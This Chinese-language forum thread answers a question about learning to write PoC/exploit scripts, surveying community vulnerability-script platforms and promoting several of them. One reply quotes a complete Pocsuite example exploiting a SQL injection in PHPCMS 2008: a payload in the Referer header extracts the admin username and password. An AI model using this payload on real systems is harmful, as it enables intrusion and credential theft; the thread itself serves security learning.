之前看了一些公開的poc,有點蒙!
有沒有入門教程!通過簡單的執行個體示範下過程!
還有就是怎樣結合poc的架構編寫poc/exp?
回複內容:
噗嗤,看到大家都在宣傳自家平台我就放心了。
這種社區化的漏洞驗證指令碼平台概念最早可能源於 Metasploit 社區,由安全研究人員自願的利用官方提供的架構編寫規範的漏洞驗證指令碼或者攻擊指令碼並發布到彙總中,由於架構強制性規範代碼,使得各家產品能夠輕鬆的調用“社區”編寫的大量驗證/攻擊指令碼,用來掃描、攻擊、驗證等用途。
我拋開宣傳方面來說下對這種平台現狀淺析以及未來的思考,國內 13-15 這兩年湧出了大量的“社區化”PoC平台,當然可預測的是在未來的兩年內會有關閉也會有新平台的出現。
部分列表(簡介摘抄於 Description & Title):
- http://www.beebeeto.com/ ::: Beebeeto是由眾多安全研究人員所共同維護的一個正常化POC/EXP平台。
- https://www.bugscan.net/ ::: 第一款基於社區的掃描器
- http://vul.jdsec.com/ ::: 窮奇漏洞庫是網路尖刀安全團隊推出的一個用於漏洞資訊存檔的資訊收集平台。
- https://www.sebug.net/ ::: Sebug 是一個權威的漏洞參考、分享與學習的安全性漏洞平台,是國內最早最權威的漏洞庫。
- http://tangscan.com/ ::: 唐朝安全巡航 (TangScan) 是一個由社區眾多安全研究人員維護的企業線上安全平台,企業可以在 Tangscan 對自己的商業網路進行安全性漏洞檢測和監控以發現潛藏在網路裡的重要安全問題。
- http://.....
現在的架構是束縛,而不是舒服
在 Beebeeto 上線前的一年中,我對社區化的漏洞驗證指令碼平思考過儘可能多的細節(站在使用者、編寫者、管理者的角度),當初設想為
漏洞爆發 -> 代碼編寫 -> 指令碼管理 -> 指令碼利用 -> ... ,面對上面的流程我們推崇了 BBS 社區化,推出架構來強制規範編寫者填寫漏洞相關欄位,對應函數體,為的是能夠方便未來(現在的 Beehive)掃描器。之後安全行業湧出了多家社區化漏掃平台,我開始站在使用者的角度去使用、編寫他家的架構指令碼,才意識到目前的架構是束縛,而不是舒服。它強制我填寫每一個欄位,而每個欄位又需要去官方文檔或者 Demo 代碼中查看對應內容,例如 Beebeeto 中的 VulType ,強制要求編寫者去查看官方文檔尋找漏洞類型填寫對應的英語版、漏洞描述等欄位,事實上這些都是可以簡化的,可能只需要一個 Referer。
剛好談下關於 @Neargle 提到的:
所以真正起到功能的,也就不到十行的代碼。
這句話是非常具備思考價值的,假如:
- 如何在完成 PoC & Exploit 的過程中學習收穫;
- 在長期的編碼漏洞利用指令碼時,怎樣達到最快速省事的編碼;
- 是否能夠利用代碼協助編寫者省去 Vulnerability_info 欄位;
- 快速驗證,快速編寫,快速發現需要寫的漏洞;
- 在已有的大量漏洞驗證指令碼裡如何準確快速的進行重複機率查詢;
- ...
還有更多的問題現在擺在幾家面前,需要解決。(省略三百字)
關於使用者怎麼入門編寫
這些平台都在努力的讓編寫驗證/攻擊指令碼變得輕鬆簡單,教授著大量編寫方法,最起碼需要編寫者具備相應語言的編碼功底,其次對漏洞原理略知一二,基本就差不多了。多看多寫,這是一個需要經驗積累的過程,如果真的沒有學會,思考下自身問題後再看看是不是這個平台/架構太爛了?最後,選擇一個適合自己的平台很重要。
未來可能
預見的幾步曲:
- 漏洞爆發
- 詳情發布
- 指令碼發布
- 相關產品支撐
- 利益相關
- ...
嗯,現在我得告訴自己,使用者不但很懶有時還很蠢。這個看 http://sebug.net
導航協助裡有,Pocsuite 架構有詳細過程。可以作為你的參考:)最近也在寫這種exp平台。介面和架構一直都是很麻煩的東西。
@Evi1m0 大神說的很有道理。真正起作用的可能就十來行代碼,但是因為要考慮介面和其他一些細節,需要寫很多很多多餘的代碼。
寫這種exp的話,並不需要太多編程知識,只需要瞭解漏洞的原理,再加上一些很基礎的文法,以及相應的庫就好了。
感覺這種平台是一種趨勢,自動化滲透能夠減少很多繁瑣的過程。並沒有打廣告,只是自己寫了給自己用,誰用誰知道。樓上三巨頭出現了,還有誰還有誰。前排廣告位。樓上兩位都幫自家宣傳完了,我也幫別人家宣傳宣傳。
烏雲tangscan,有詳細的poc編寫協助文檔,既能學習python,又能在過程中熟悉一些通用型漏洞的形成原因和利用方法,官網地址 http://tangscan.com
。
烏雲出品,必屬精品!也有比較好的獎勵方式,每個月按照比例進行分紅。比如你一次提交了幾十個poc,之後的很多年你不提交也可以每個月首先坐等Beebeeto。
然後來談談自己的看法:
其實吧,無論烏雲的Tangscan也好,知道創宇的Pocsuite也好,還有Beebeeto也好(Bugscan沒寫過,不是特別瞭解不過應該差不多),關於Web的Poc和Exp,都極度依賴於兩個Python庫。
1. Requests : 類比Web的請求和響應等互動動作。
2. Re : Regex,用來驗證返回的結果是否符合漏洞的預期,從而驗證漏洞是否存在。
其餘的大部分代碼都是漏洞的資訊。
以Pocsuite和Tangscan為例:
Pocsuite官方文檔例子:
#!/usr/bin/env python# coding: utf-8import reimport urlparsefrom pocsuite.net import reqfrom pocsuite.poc import POCBase, Outputfrom pocsuite.utils import registerclass TestPOC(POCBase): vulID = '62274' # ssvid version = '1' author = ['Medici.Yan'] vulDate = '2011-11-21' createDate = '2015-09-23' updateDate = '2015-09-23' references = ['http://www.sebug.net/vuldb/ssvid-62274'] name = '_62274_phpcms_2008_place_sql_inj_PoC' appPowerLink = 'http://www.phpcms.cn' appName = 'PHPCMS' appVersion = '2008' vulType = 'SQL Injection' desc = ''' phpcms 2008 中廣告模組,存在參數過濾不嚴, 導致了sql注入漏洞,如果對方伺服器開啟了錯誤顯示,可直接利用, 如果關閉了錯誤顯示,可以採用基於時間和錯誤的盲注 ''' samples = ['http://10.1.200.28/'] def _attack(self): result = {} vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1') payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#" head = { 'Referer': payload } resp = req.get(vulurl, headers=head) if resp.status_code == 200: match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M) if match_result: result['AdminInfo'] = {} result['AdminInfo']['Username'] = match_result.group(1) result['AdminInfo']['Password'] = match_result.group(2) return self.parse_attack(result) def _verify(self): result = {} vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1') payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#" head = { 'Referer': payload } resp = req.get(vulurl, headers=head) if resp.status_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in resp.content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = vulurl result['VerifyInfo']['Payload'] = payload return self.parse_attack(result) def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return outputregister(TestPOC)
歡迎加入bugscan.
歡迎加入bugscan.
歡迎加入bugscan.
重要的話說三遍
http://www.bugscan.net
加入bugscan社區可以使用神器bugscan
所有的外掛程式都是社區內部完全公開,學習寫poc都是小意思
希望與你共同進步